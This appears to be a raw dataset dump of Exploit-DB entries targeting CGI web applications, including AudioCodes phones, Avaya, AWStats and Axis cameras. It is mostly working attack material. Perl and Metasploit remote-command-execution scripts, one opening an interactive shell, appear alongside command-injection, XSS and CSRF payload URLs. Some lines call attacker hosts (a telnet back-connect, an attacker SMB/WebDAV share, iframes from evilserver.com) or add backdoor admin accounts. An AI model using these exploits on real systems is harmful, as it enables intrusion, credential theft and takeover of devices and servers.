deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46164
Description: AudioCode 400HD - Command Injection
Type: webapps
Platform: cgi
Date: 2019-01-14
Author: Sysdream

Exploit:
# [CVE-2018-10093] Remote command injection vulnerability in AudioCode IP phones

## Description

The AudioCodes 400HD series of IP phones consists in a range of
easy-to-use, feature-rich desktop devices for the service provider
hosted services, enterprise IP telephony and contact center markets.

The CGI scripts used on the 420HD phone (web interface) do not filter
user inputs correctly. Consequently, an authenticated attacker could
inject arbitrary commands (Remote Code Execution) and take full control
over the device. For example, it is possible to intercept live
communications.

## Vulnerability records


**CVE ID**: CVE-2018-10093

**Access Vector**: remote

**Security Risk**: medium

**Vulnerability**: CWE-78

**CVSS Base Score**: 7.2

**CVSS Vector String**:
CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H/E:H/RC:C


## Details

The script `command.cgi`, used for system monitoring and diagnostics, is
vulnerable to a remote command execution attack.

Visiting the `/command.cgi?cat%20/etc/passwd` gives the following result:

```
admin:$1$FZ6rOGS1$54ZXSmjh7nod.kXFRyLx70:0:0:root:/:/bin/sh
```

Note that the vulnerable page is only available to authenticated users
(in possession of the admin configuration password).

## Timeline (dd/mm/yyyy)

* 06/03/2018 : Initial discovery
* 17/04/2018 : Vendor contact
* 17/05/2018 : Vendor technical team aknowledgment
* 07/01/2019 : Vendor recommendation to mitigate the issue
* 10/01/2019 : Public disclosure

## Fixes

AudioCodes recommends to change the default admin credentials to
mitigate the issue.

## Affected versions

Theses vulnerabilities have only been tested on the 420HD phone
(firmware version: 2.2.12.126).

## Credits

a.baube at sysdream dot com
Exploit-DB #21926
Description: Authoria HR Suite - 'AthCGI.exe' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2002-10-09
Author: Max

Exploit:
source: https://www.securityfocus.com/bid/5932/info

Authoria HR Suite is prone to cross-site scripting attacks.

An attacker could construct a malicious link to a vulnerable host that contains arbitrary HTML and script code. If this link is visited by a web user, the attacker-supplied code will be rendered in their browser, in the security context of the vulnerable site.

https://www.example.com/path.to/cgi-bin/athcgi.exe?command=showpage&script='],[0,0]];alert('test!');a=[['
Exploit-DB #33231
Description: Avaya Intuity Audix LX R1.1 - Multiple Remote Vulnerabilities
Type: webapps
Platform: cgi
Date: 2009-09-18
Author: pagvac

Exploit:
source: https://www.securityfocus.com/bid/36450/info

Avaya Intuity Audix LX is prone to multiple remote vulnerabilities, including:

1. Multiple remote command-execution vulnerabilities
2. A cross-site request-forgery vulnerability
3. A cross-site scripting vulnerability

Attackers can exploit these issues to execute arbitrary commands with the privileges of 'vexvm' on the underlying system, steal cookie-based authentication credentials, execute arbitrary script code, and perform administrative tasks. Other attacks are also possible. 

POST /cswebadm/diag/cgi-bin/sendrec.pl HTTP/1.1
ipadd=127.0.0.1;cat+/etc/passwd&count_p=1&size_p=56

POST https://www.example.com/cswebadm/diag/cgi-bin/sendrec.pl HTTP/1.1
ipadd=;cat+/etc/passwd

POST /cswebadm/diag/cgi-bin/sendrec.pl HTTP/1.1
ipadd=&count_p=1;ls&size_p=56

POST /cswebadm/diag/cgi-bin/sendrec.pl HTTP/1.1
ipadd=&count_p=1&size_p=56&opt_n=;ls

POST /cswebadm/diag/cgi-bin/nslookup.pl HTTP/1.1
host_or_ip=127.0.0.1&r_type=;ls;

https://www.example.com/cgi-bin/smallmenu.pl?url=%3C/
title%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #27694
Description: AWStats 4.0/5.x/6.x - AWStats.pl Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2006-04-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17621/info

AWStats is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

AWStats version 6.5 (build 1.857) and prior are vulnerable to these issues.

http://www.example.com/awstats.pl?refererpagesfilter=[XSS]&refererpagesfilterex=&output=refererpages&config=unsecured-systems.com&year=2006&month=all
http://www.example.com/awstats.pl?refererpagesfilter=&refererpagesfilterex=[XSS]&output=refererpages&config=unsecured-systems.com&year=2006&month=all
http://www.example.com/awstats.pl?urlfilter=&urlfilterex=[XSS]&output=urlentry&config=unsecured-systems.com&year=2006&month=all
http://www.example.com/awstats.pl?urlfilter=[XSS]&urlfilterex=&output=urlentry&config=unsecured-systems.com&year=2006&month=all
http://www.example.com/awstats.pl?hostfilter=[XSS]&hostfilterex=&output=allhosts&config=unsecured-systems.com&year=2006&month=all
http://www.example.com/awstats.pl?hostfilter=&hostfilterex=[XSS]&output=allhosts&config=unsecured-systems.com&year=2006&month=all
Exploit-DB #407
Description: AWStats 5.0 < 6.3 - 'logfile' File Inclusion / Command Execution
Type: webapps
Platform: cgi
Date: 2004-08-21
Author: Johnathan Bat

Exploit:
Example:

http://[target]/awstats.pl?filterrawlog=&rawlog_maxlines=5000&config=stats.jdims.info&framename=main&pluginmode=rawlog&log file=/etc/passwd

http://[target]/awstats.pl?filterrawlog=&rawlog_maxlines=5000&config=stats.jdims.info&framename=main&pluginmode=rawlog&logfile=&logfile=|telnet <your ip> <port>


# milw0rm.com [2004-08-21]
Exploit-DB #25108
Description: AWStats 5.x/6.x - 'Logfile' Remote Command Execution
Type: webapps
Platform: cgi
Date: 2005-02-16
Author: newbug@chroot.org

Exploit:
source: https://www.securityfocus.com/bid/12572/info

AWStats is reported prone to a remote arbitrary command-execution vulnerability. This issue occurs because the application fails to properly sanitize user-supplied data.

Specifically, the user-specified 'logfile' URI parameter is supplied to the Perl 'open()' routine. This issue is considered distinct from BID 10950 (AWStats Rawlog Plugin Logfile Parameter Input Validation Vulnerability).

AWStats versions 5.4 to 6.1 are reported vulnerable to this issue. 

http://www.example.com/cgi-bin/awstats.pl?update=1&logfile=|/bin/ls|
Exploit-DB #25096
Description: AWStats 5.x/6.x - Debug Remote Information Disclosure
Type: webapps
Platform: cgi
Date: 2005-02-14
Author: GHC

Exploit:
source: https://www.securityfocus.com/bid/12545/info

A remote information disclosure vulnerability reportedly affects AWStats. This issue is due to a failure of the application to properly validate access to sensitive data.

An attacker may leverage this issue to gain access to potentially sensitive data, possibly facilitating further attacks against an affected computer. 

http://www.example.com/cgi-bin/awstats-6.4/awstats.pl?debug=1
http://www.example.com/cgi-bin/awstats-6.4/awstats.pl?debug=2
Exploit-DB #773
Description: AWStats 6.0 < 6.2 - 'configdir' Remote Command Execution
Type: webapps
Platform: cgi
Date: 2005-01-25
Author: GHC

Exploit:
#!/usr/bin/perl
#---GHC---------------------------------#
#Remote command execution exploit #
#Product:                                        #
#Advanced Web Statistics 6.0 - 6.2    #
#URL:http://awstats.sourceforge.net  #
#Greets & respects to our friends:     #
#1dt.w0lf and all rst.void.ru              #
#Special greets 2 d0G4                    #
#& cr0n for link on bugtraq               #
#---not-PRIVATE-already--------------#
# bug found by iDEFENSE                 #
# http://www.idefense.com/             #
# application/poi/display?                 #
# id=185&type=vulnerabilities          #
# &flashstatus=true                         #
#-----------------------------------------#

use IO::Socket;
$banner = "
#################################################################
GHC 2005
Remote command execution exploit for:
Advanced Web Statistics 6.0 - 6.2
Usage:
>perl ./GHCaws.pl www.server.net /cgi-bin/awredir.pl \"uname -a\"
#################################################################
";

$bug_param = 'configdir';
$id_start = 'b_exp';
$id_exit = 'e_exp';
$id_print = 0;
$http_head = "\n\n";

sub Print_Report {
$str = $_[0];
if ($str =~ m/$id_exit/i) {
exit;
}
if ($str =~ m/$id_start/i) {
$str =~ s/$id_start//ig;
$id_print = 1;
}
if ($id_print == 1) {
print "$str";
}
}

sub ConnectServer {
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80")
|| die "Error\n";
print $socket "GET $dir".'?'.$bug_param.'='."$expl HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
while ($report = <$socket>) {
&Print_Report("$report");
}
}


print "$banner";
if ($ARGV[0] && $ARGV[1] && $ARGV[2]) {
$server = $ARGV[0];
$dir = $ARGV[1];
$cmd = $ARGV[2]; }
else {
exit;
}

$expl = '|echo '.''.';echo '.$id_start.';'.$cmd.';echo '.$id_exit.';%00';
$expl =~ s/\W/"%".sprintf("%x",ord($&))/eg;
&ConnectServer;

# milw0rm.com [2005-01-25]
Exploit-DB #16905
Description: AWStats 6.1 < 6.2 - 'configdir' Remote Command Execution (Metasploit)
Type: webapps
Platform: cgi
Date: 2009-12-26
Author: Metasploit

Exploit:
##
# $Id: awstats_configdir_exec.rb 7970 2009-12-26 03:31:20Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'AWStats configdir Remote Command Execution',
			'Description'    => %q{
					This module exploits an arbitrary command execution vulnerability in the
					AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1 and 6.2
					are vulnerable.
			},
			'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 7970 $',
			'References'     =>
				[
					['CVE', '2005-0116'],
					['OSVDB', '13002'],
					['BID', '12298'],
					['URL', 'http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 512,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Jan 15 2005',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]),
				], self.class)
	end

	def check
		res = send_request_cgi({
			'uri'      => datastore['URI'],
			'vars_get' =>
			{
				'configdir' => '|echo;cat /etc/hosts;echo|'
			}
		}, 25)

		if (res and res.body.match(/localhost/))
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end

	def exploit
		command = Rex::Text.uri_encode(payload.encoded)
		urlconfigdir = datastore['URI'] + "?configdir=|echo;echo%20YYY;#{command};echo%20YYY;echo|"

		res = send_request_raw({
			'uri'     => urlconfigdir,
			'method'  => 'GET',
			'headers' =>
			{
				'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
				'Connection' => 'Close',
			}
		}, 25)

		if (res)
			print_status("The server returned: #{res.code} #{res.message}")

			m = res.body.match(/YYY\n(.*)\nYYY/m)

			if (m)
				print_status("Command output from the server:")
				print("\n" + m[1] + "\n\n")
			else
				print_status("This server may not be vulnerable")
			end
		else
			print_status("No response from the server")
		end
	end

end
Exploit-DB #9912
Description: AWStats 6.2 < 6.1 - configdir Command Injection (Metasploit)
Type: webapps
Platform: cgi
Date: 2005-01-15
Author: Matteo Cantoni

Exploit:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'AWStats configdir Remote Command Execution',
			'Description'    => %q{
					This module exploits an arbitrary command execution vulnerability in the
					AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1 and 6.2
					are vulnerable.
			},
			'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					['CVE', '2005-0116'],
					['OSVDB', '13002'],
					['BID', '12298'],
					['URL', 'http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 512,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},		
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Jan 15 2005',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]),
				], self.class)
	end

	def check
		res = send_request_cgi({
			'uri'      => datastore['URI'],
			'vars_get' =>
			{
				'configdir' => '|echo;cat /etc/hosts;echo|'
			}
		}, 25)

		if (res and res.body.match(/localhost/))
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end

	def exploit
		command = Rex::Text.uri_encode(payload.encoded)
		urlconfigdir = datastore['URI'] + "?configdir=|echo;echo%20YYY;#{command};echo%20YYY;echo|"

		res = send_request_raw({
			'uri'     => urlconfigdir,
			'method'  => 'GET',
			'headers' =>
			{
				'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
				'Connection' => 'Close',
			}
		}, 25)

		if (res)
			print_status("The server returned: #{res.code} #{res.message}")

			m = res.body.match(/YYY\n(.*)\nYYY/m)

			if (m)
				print_status("Command output from the server:")
				print("\n" + m[1] + "\n\n")
			else
				print_status("This server may not be vulnerable")
			end
		else
			print_status("No response from the server")
		end
	end

end
Exploit-DB #32870
Description: AWStats 6.4 - 'AWStats.pl' Multiple Full Path Disclosures
Type: webapps
Platform: cgi
Date: 2009-04-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/34159/info

AWStats is prone to a path-disclosure vulnerability.

Exploiting this issue can allow an attacker to access sensitive data that may be used to launch further attacks against a vulnerable computer.

The following are vulnerable:

AWStats 6.5 (build 1.857) and prior
WebGUI Runtime Environment 0.8.x and prior

http://www.example.com/awstats/awstats.pl?config=HACKdestailleur.fr
Exploit-DB #32258
Description: AWStats 6.8 - 'AWStats.pl' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2008-08-18
Author: Morgan Todd

Exploit:
source: https://www.securityfocus.com/bid/30730/info

AWStats is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

AWStats 6.8 is vulnerable; other versions may also be affected. 

http://www.example.com/awstats/awstats.pl?config=www.example.com&%22onload=%22alert(document.domain)//
Exploit-DB #35035
Description: AWStats 6.x - Apache Tomcat Configuration File Arbitrary Command Execution
Type: webapps
Platform: cgi
Date: 2010-11-30
Author: StenoPlasma

Exploit:
source: https://www.securityfocus.com/bid/45123/info

Awstats is prone to an arbitrary command-execution vulnerability. This issue occurs when Awstats is used along with Apache Tomcat in Microsoft Windows.

An attacker can exploit this vulnerability to execute arbitrary shell commands in the context of the webserver process. This may help attackers compromise the underlying system; other attacks are also possible.

AWStats 6.95 and prior versions are vulnerable. 

Attacking Windows XP Apache Tomcat AWStats Server:
http://www.example.com/cgi-bin/awstats.cgi?config=attacker&pluginmode=rawlog&configdir=\\Attacker-IPAddress:80\webdav

Attacking Windows 2003 or Windows XP AWStats Server:
http://www.example.com/cgi-bin/awstats.cgi?config=attacker&pluginmode=rawlog&configdir=\\Attacker-IPAddress\SMB-Share
Exploit-DB #1508
Description: AWStats < 6.4 - 'referer' Remote Command Execution
Type: webapps
Platform: cgi
Date: 2006-02-17
Author: RusH

Exploit:
#!/usr/bin/perl

## AWStats < 6.4 command execution exploit
## based on http://www.idefense.com/application/poi/display?id=290&type=vulnerabilities
## (c)oded by 1dt.w0lf
## 11.08.2005
## RST/GHC
## http://rst.void.ru
## http://ghc.ru

## Note
## Exploitation will not occur until the stats page has been regenerated
## with the tainted referrer values from the http access log.
## AWStats is only vulnerable in situations where at least one URLPlugin is enabled.


use LWP::UserAgent;
use HTTP::Headers;

if(@ARGV<1) { &usage; exit(0); }

$path = $ARGV[0];
header();
print "Creating shell... Please wait\n";

 $aw = LWP::UserAgent->new() or die;
 $req = HTTP::Request->new(GET => $path);
 $req->referer(qq[http://'.system(\$FilterEx{\'refererpages\'}).']);
 $res = $aw->request($req); 
 
 $aw = LWP::UserAgent->new() or die;
 $res = $aw->get($path.'?output=refererpages&update=1');

while ()
 {
    print "Type command for execute or 'q' for exit # ";
    while(<STDIN>)
     {
        $cmd=$_;
        chomp($cmd);
        exit() if ($cmd eq 'q');
        last;
     }
    &run($cmd);
 }

sub run()
 {
 $cmd2  = 'echo 1 && echo _START_ && ';
 $cmd2 .= $cmd;
 $cmd2 .= ' && echo _END_';
 $aw = LWP::UserAgent->new() or die;
 $res = $aw->post(
                  "$path",
                  {
                   "output" => "refererpages",
                   "refererpagesfilterex" => "$cmd2"
                  }
                 );
 @result = split(/\n/,$res->content);
 $runned = 0;
 $on = 0;
 print "\n";
 for $res(@result)
  {
    if ($res =~ /^_END_/) { print "\n"; return 0; }
    if ($on == 1) { print "  $res\n"; }
    if ($res =~ /^_START_/) { $on = 1; $runned = 1; } 
  }
 print "Can't execute command\n" if !$runned;
 }

sub header()
{
 print "--* AWStats < 6.4 exploit by RST/GHC\n";
 print "--* keep it private, not for public\n";
}

sub usage()
 {
  header();
  print "usage : r57awstats.pl [path_to_awstats.pl]\n";
  print "  e.g.: r57awstats.pl http://127.0.0.1/cgi-bin/awstats.pl\n";
 }

# milw0rm.com [2006-02-17]
Exploit-DB #30587
Description: Axis Communications 207W Network Camera - Web Interface '/admin/restartMessage.shtml?server' Cross-Site Request Forgery
Type: webapps
Platform: cgi
Date: 2007-09-14
Author: Seth Fogie

Exploit:
source: https://www.securityfocus.com/bid/25678/info
  
Axis Communications 207W Network Camera is prone to multiple vulnerabilities in the web interface. Three issues were reported: a cross-site scripting vulnerability, a cross-site request-forgery vulnerability, and a denial-of-service vulnerability.
  
Exploiting these issues may allow an attacker to compromise the device or to prevent other users from using the device.

Root the camera/add a backdoor -  
http://www.example.com/admin/restartMessage.shtml?server=<iframe%20style=visibility:hidden%20src=http://www.evilserver.com/wifi/axisbd.php><iframe
src=http://www.evilserver.com/wifi/axisrb.htm><!â??
Exploit-DB #30586
Description: Axis Communications 207W Network Camera - Web Interface 'axis-cgi/admin/pwdgrp.cgi' Multiple Cross-Site Request Forgery Vulnerabilities
Type: webapps
Platform: cgi
Date: 2007-09-14
Author: Seth Fogie

Exploit:
source: https://www.securityfocus.com/bid/25678/info
 
Axis Communications 207W Network Camera is prone to multiple vulnerabilities in the web interface. Three issues were reported: a cross-site scripting vulnerability, a cross-site request-forgery vulnerability, and a denial-of-service vulnerability.
 
Exploiting these issues may allow an attacker to compromise the device or to prevent other users from using the device.
 
Add a new administrator -
http://www.example.com/axis-cgi/admin/pwdgrp.cgi?action=add&user=owner1&grp=axuser&sgrp=axview:axoper:axadmin&[CREDENTIAL_REDACTED]=WebUser&return_page=/admin/users_set.sh
+tml%3Fpageclose%3D1
Exploit-DB #30585
Description: Axis Communications 207W Network Camera - Web Interface axis-cgi/admin/restart.cgi Cross-Site Request Forgery
Type: webapps
Platform: cgi
Date: 2007-09-14
Author: Seth Fogie

Exploit:
source: https://www.securityfocus.com/bid/25678/info

Axis Communications 207W Network Camera is prone to multiple vulnerabilities in the web interface. Three issues were reported: a cross-site scripting vulnerability, a cross-site request-forgery vulnerability, and a denial-of-service vulnerability.

Exploiting these issues may allow an attacker to compromise the device or to prevent other users from using the device. 

Reboot the camera - http://www.example.com/axis-cgi/admin/restart.cgi
Exploit-DB #24400
Description: Axis Network Camera 2.x And Video Server 1-3 - 'virtualinput.cgi' Arbitrary Command Execution
Type: webapps
Platform: cgi
Date: 2004-08-23
Author: bashis

Exploit:
source: https://www.securityfocus.com/bid/11011/info

1. A shell metacharacter command-execution vulnerability allows an anonymous user to download the contents of the '/etc/passwd' file on the device. Other commands are also likely to work, facilitating other attacks.

This issue is reported to affect:
- Axis 2100, 2110, 2120, 2420 network cameras with firmware versions 2.34 thru 2.40
- Axis 2130 network cameras
- Axis 2401 and 2401 video servers


http://www.example.com/axis-cgi/io/virtualinput.cgi?\x60cat</etc/passwd>/mnt/flash/etc/httpd/html/passwd\x60
Exploit-DB #24401
Description: Axis Network Camera 2.x And Video Server 1-3 - Directory Traversal
Type: webapps
Platform: cgi
Date: 2004-08-23
Author: bashis

Exploit:
source: https://www.securityfocus.com/bid/11011/info

A directory-traversal vulnerability in HTTP POST requests. This attack is demonstrated by an anonymous user calling protected administration scripts. This bypasses authentication checks and gives anonymous users remote adminitration of the devices.
 
This issue is reported to affect:
- Axis 2100, 2110, 2120, 2420 network cameras with firmware versions 2.12 thru 2.40
- Axis 2130 network cameras
- Axis 2401,and 2401 video servers

POST /cgi-bin/scripts/../../this_server/ServerManager.srv HTTP/1.0
Content-Length: 250
Pragma: no-cache

conf_Security_List=root%%3AADVO%%3A%%3Awh00t%%3AAD%%3A[PII_REDACTED]8116%%3A&users=wh00t&username=wh00t&password1=wh00t&password2=wh00t&checkAdmin=on&checkDial=on&checkView=on&servermanager_return_page=%%2Fadmin%%2Fsec_users.shtml&servermanager_do=set_variables